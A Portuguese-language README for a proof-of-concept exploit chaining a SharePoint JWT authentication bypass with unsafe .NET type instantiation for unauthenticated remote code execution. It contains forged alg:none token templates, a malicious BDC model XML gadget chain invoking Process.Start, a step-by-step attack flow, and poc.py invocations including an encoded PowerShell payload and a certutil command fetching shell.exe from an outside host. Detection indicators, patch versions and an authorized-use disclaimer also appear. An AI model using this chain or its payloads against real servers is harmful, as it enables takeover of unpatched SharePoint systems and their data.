
Cadeia de exploração para RCE não autenticado no Microsoft SharePoint, combinando uma bypass de autenticação JWT com instanciação insegura de tipos .NET para alcançar execução de código como a conta de serviço.
RCE não autenticado no Microsoft SharePoint Server. Nenhuma credencial necessária.
Stephen Fewer (Rapid7) demonstrou a CVE-2026-55040 no Pwn2Own Berlin 2026. A Rapid7 então descobriu a CVE-2026-63520 durante pesquisas de acompanhamento, e a VulnCheck encontrou de forma independente uma cadeia de gadgets alternativa. Juntas, essas duas falhas oferecem execução remota de código não autenticada contra qualquer SharePoint sem patch na internet.
A CISA emitiu alertas poucas horas após a divulgação do PoC. Está sendo explorada ativamente.
Duas falhas, uma cadeia:
| CVE | Tipo | CVSS | O que quebra |
|---|---|---|---|
| CVE-2026-55040 | Bypass de Autenticação JWT | 9.1 | A validação do token S2S do SharePoint tem quatro fraquezas independentes. Encadeie-as e você forja um JWT válido para qualquer usuário — incluindo administradores do site — sem saber a senha dele. |
| CVE-2026-63520 | Instanciação insegura de tipo .NET → RCE | 8.1 | O Business Data Connectivity (BDC) resolve nomes arbitrários de tipos .NET a partir de XML enviado sem nenhuma lista de permissões. Aponte-o para ObjectDataProvider e você obtém Process.Start(). |
Nenhuma das falhas é interessante isoladamente. A CVE-2026-63520 exige autenticação. A CVE-2026-55040 fornece autenticação. Juntas: RCE não autenticado como a conta de serviço do SharePoint.
O SharePoint usa JWTs aninhados para autenticação servidor-a-servidor (S2S). Um token externo carrega a identidade do usuário; um "token de ator" interno representa o aplicativo chamador. Quatro fraquezas em SPJsonWebSecurityTokenHandlerV2.ValidateToken() fazem tudo desmoronar:
Fraqueza 1 — A verificação de assinatura está desligada. O validador define RequireSignedTokens = false. O token externo aceita alg: none. Nenhuma assinatura é necessária.
Fraqueza 2 — Resolução de x5t sem verificação. A chave de assinatura do token de ator é resolvida consultando o cabeçalho x5t (impressão digital do certificado) no repositório de certificados. O SharePoint nunca verifica se a assinatura do token de ator realmente corresponde a essa chave.
Fraqueza 3 — A validação do emissor aceita certificados desconhecidos. ValidateIssuer() passa se o certificado de assinatura não estiver na coleção TrustedSecurityTokenServices. O certificado STS do próprio SharePoint não está registrado lá. Portanto, referenciá-lo via x5t passa na validação do emissor incondicionalmente.
Fraqueza 4 — Verificação de assinatura não criptográfica. GetTokenSignature() exige uma string não vazia, mas não faz nenhuma validação criptográfica. Qualquer valor funciona. AAAA funciona.
O certificado STS é público. Você o obtém de /_layouts/15/metadata/json/1 — um endpoint não autenticado — calcula a impressão digital SHA-1 e tem tudo o que precisa.
Token externo (carrega a identidade do usuário):
// Cabeçalho
{"alg": "none", "typ": "JWT"}
// Payload
{
"aud": "00000003-0000-0ff1-ce00-000000000000/SPHOST@<realm>",
"iss": "00000003-0000-0ff1-ce00-000000000000@<realm>",
"nameid": "<SID ou UPN alvo>",
"nii": "urn:office:idp:activedirectory",
"trustedfordelegation": "true",
"actortoken": "<JWT interno>"
}
// Assinatura: vazia (alg:none)
Token de ator interno (representa o "aplicativo"):
// Cabeçalho
{"alg": "RS256", "typ": "JWT", "x5t": "<impressão digital do certificado STS>"}
// Payload
{
"iss": "00000003-0000-0ff1-ce00-000000000000@<realm>",
"nameid": "00000003-0000-0ff1-ce00-000000000000@<realm>",
"nbf": 1756000000,
"exp": 1756003600
}
// Assinatura: "AAAA" (literalmente qualquer coisa não vazia)
Três maneiras de escolher uma identidade:
O serviço Business Data Connectivity do SharePoint permite que administradores definam fontes de dados externas por meio de arquivos XML de Modelo BDC (.bdcm). Esses modelos especificam tipos .NET que o BDC instancia em tempo de execução.
O problema está em DbTypeReflector.ResolveDotNetType():
// Microsoft.SharePoint.BusinessData.SystemSpecific.Db.DbTypeReflector
if (abstractTypeName.Length < 15)
{
return base.ResolveDotNetType(abstractTypeName, lobSystemStruct);
}
return Type.GetType(abstractTypeName, throwOnError: true); // qualquer tipo no GAC
Nomes de tipo com menos de 15 caracteres passam por um resolvedor seguro. Qualquer coisa mais longa chama Type.GetType() diretamente — que resolve qualquer nome de tipo qualificado por assembly do Global Assembly Cache. Sem lista de permissões. Sem lista de bloqueios. O atacante controla abstractTypeName por meio do XML BDCM.
Usamos System.Windows.Data.ObjectDataProvider do PresentationFramework. Quando você define a propriedade ObjectInstance, ele invoca MethodName nessa instância. Defina MethodName = "Start" e ObjectInstance = System.Diagnostics.Process com um StartInfo elaborado, e a reflexão de definição de propriedade do BDC faz o resto:
ObjectDataProvider criado
→ MethodName = "Start"
→ ObjectInstance = Process
→ StartInfo.FileName = "cmd.exe"
→ StartInfo.Arguments = "/c <payload>"
→ StartInfo.UseShellExecute = false
→ StartInfo.CreateNoWindow = true
→ o setter de propriedade aciona QueryWorker()
→ BeginQuery() → InvokeMethodOnInstance()
→ Type.InvokeMember("Start") → Process.Start()
O XML BDCM que carrega isso:
<TypeDescriptor Name="ReturnRoot"
TypeName="System.Windows.Data.ObjectDataProvider, PresentationFramework,
Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35">
<TypeDescriptors>
<TypeDescriptor Name="MethodName" TypeName="System.String">
<DefaultValues>
<DefaultValue ...>Start</DefaultValue>
</DefaultValues>
</TypeDescriptor>
<TypeDescriptor Name="ObjectInstance"
TypeName="System.Diagnostics.Process, System, ...">
<TypeDescriptor Name="StartInfo"
TypeName="System.Diagnostics.ProcessStartInfo, System, ...">
<TypeDescriptor Name="FileName" TypeName="System.String">
<DefaultValues><DefaultValue ...>cmd.exe</DefaultValue></DefaultValues>
</TypeDescriptor>
<TypeDescriptor Name="Arguments" TypeName="System.String">
<DefaultValues><DefaultValue ...>/c whoami</DefaultValue></DefaultValues>
</TypeDescriptor>
</TypeDescriptor>
</TypeDescriptor>
</TypeDescriptors>
</TypeDescriptor>
A VulnCheck documentou uma cadeia alternativa usando System.Web.UI.LosFormatter com desserialização TypeConfuseDelegate por meio de um LobSystem DotNetAssembly. Vários gadgets funcionam — a primitiva subjacente é a instanciação irrestrita de tipos.
Atacante Servidor SharePoint
│ │
│── GET /_layouts/15/metadata/json/1 ──▶│
│◀── Certificado STS (x5t + realm) ────│ (não autenticado)
│ │
│── Sessão nula SMB ao DC ──────────────▶ Controlador de Domínio
│◀── SID do domínio ────────────────────│
│ │
│── Forja JWT (alg:none + assinatura AAAA) ─│
│── POST /_api/contextinfo ──────────▶│
│◀── FormDigestValue ────────────────│ CVE-2026-55040: autenticado como admin
│ │
│── POST /_api/web/lists ────────────▶│ cria catálogo BDC
│── POST .../Files/add(evil.bdcm) ──▶│ envia cadeia de gadgets
│── POST /_vti_bin/client.svc/ ──────▶│ aciona ProcessQuery
│ ProcessQuery │
│ │ CVE-2026-63520: Process.Start()
│ │ → cmd.exe /c <payload>
│ │ → executa como conta de serviço do SP
Seis etapas:
Obtenha o certificado STS. Acesse /_layouts/15/metadata/json/1. Sem autenticação necessária. Extraia o certificado X.509 de keys[0].keyValue.value, aplique hash SHA-1 e codifique em base64url. Esse é o seu x5t. O campo issuer fornece o realm.
Encontre um administrador do site. Sessão nula SMB ao controlador de domínio, LsarQueryInformationPolicy via LSARPC para obter o SID do domínio e, em seguida, itere os RIDs (500, 1000-10000) forjando um JWT para cada um até que /_api/web/currentuser retorne IsSiteAdmin: true. Ou simplesmente forneça um UPN conhecido.
Forje o JWT. Externo: alg:none, nameid = SID do admin, actortoken = JWT interno. Interno: alg:RS256, x5t = impressão digital do STS, assinatura = AAAA. Codifique em base64url e concatene com pontos. Pronto.
A atualização cumulativa de agosto de 2026 adiciona ValidateSafeBcsType() para restringir quais tipos .NET o BDC pode instanciar. A correção do JWT adiciona verificação adequada de assinatura e registra o certificado STS na coleção de serviços de token confiáveis.
O suporte mainstream do SharePoint 2016 terminou em 2026. Organizações sem Suporte Estendido podem não receber a correção.
Instale as dependências:
pip install requests
pip install impacket # necessário apenas para descoberta automática de SID com --domain-ip
python3 poc.py \
--target 192.168.1.10 \
--domain-ip 192.168.1.5 \
--cmd "cmd.exe /c whoami > C:\Windows\Temp\pwned.txt"
O script irá:
x5t e realm dos metadados STSpython3 poc.py \
--target sharepoint.corp.local \
--upn [email protected] \
--cmd "powershell -enc JABjAD0ATgBlAHcALQBPAGIA..."
python3 poc.py \
--target 10.0.0.50 \
--sid S-1-5-21-4203888158-2793536450-3921675298-500 \
--cmd "certutil -urlcache -split -f http://10.0.0.100/shell.exe C:\Windows\Temp\shell.exe"
python3 poc.py \
--target 10.0.0.50 \
--auto-upn \
--username administrator \
--cmd "calc.exe"
python3 poc.py \
--target 192.168.1.10 \
--domain-ip 192.168.1.5 \
--cmd "dummy" \
--check-only
Você deve ver Authenticated as: SHAREPOINT\system (System Account) [SITE ADMIN]. Isso confirma que o bypass de JWT funciona e que você tem acesso de nível administrativo.
python3 poc.py \
--target 10.0.0.50 \
--port 8443 \
--upn [email protected] \
--cmd "whoami"
Coisas para observar:
alg: none atingindo endpoints do SharePoint. Tokens S2S legítimos sempre usam RS256./_layouts/15/metadata/json/1 seguidas de chamadas de API autenticadas do mesmo IP de origem. O endpoint de metadados é público, mas reconhecimento seguido de acesso de nível administrativo é suspeito..bdcm aparecendo em BusinessDataMetadataCatalog. A maioria das implantações do SharePoint não usa BDC. Qualquer envio de BDCM merece investigação.ProcessQuery referenciando entidades BDC desconhecidas, especialmente com ObjectDataProvider ou LosFormatter nos nomes de tipo da entidade.w3wp.exe (pool de aplicativos do SharePoint). cmd.exe, powershell.exe, certutil.exe como processos filhos do processo de trabalho são indicadores clássicos.Apenas para testes de segurança autorizados. Obtenha permissão por escrito antes de executar isso contra qualquer coisa que não seja sua.
| Modo | nameid | nii | O que você precisa |
|---|
| SID | S-1-5-21-...-1605 | urn:office:idp:activedirectory | SID do domínio (via sessão nula SMB) + brute de RID |
| UPN | upn_bypass + claim upn | urn:office:idp:activedirectory | Um UPN válido (ex.: [email protected]) |
| AccessToken | 0#.w|nt authority\local service | AccessToken | Nada. Acesso limitado, mas suficiente para algumas cadeias. |
Obtenha um digest de formulário. POST /_api/contextinfo com o token Bearer forjado. O SharePoint entrega um FormDigestValue para operações de escrita.
Envie o BDCM. Crie uma biblioteca BusinessDataMetadataCatalog, envie o XML .bdcm malicioso contendo a cadeia de gadgets ObjectDataProvider.
Dispare o gatilho. POST /_vti_bin/client.svc/ProcessQuery com uma solicitação que resolva a entidade BDC. O SharePoint instancia os tipos do BDCM, define propriedades via reflexão e o ObjectDataProvider dispara Process.Start(). O código é executado como a conta de serviço do SharePoint.
| Produto | Vulnerável abaixo de | Patch | KB |
|---|
| SharePoint Server Subscription Edition | 16.0.19725.20522 | CU de agosto de 2026 | KB5002893 |
| SharePoint Server 2019 | 16.0.10417.20198 | SU de agosto de 2026 | - |
| SharePoint Enterprise Server 2016 | 16.0.5565.1001 | SU de agosto de 2026 | - |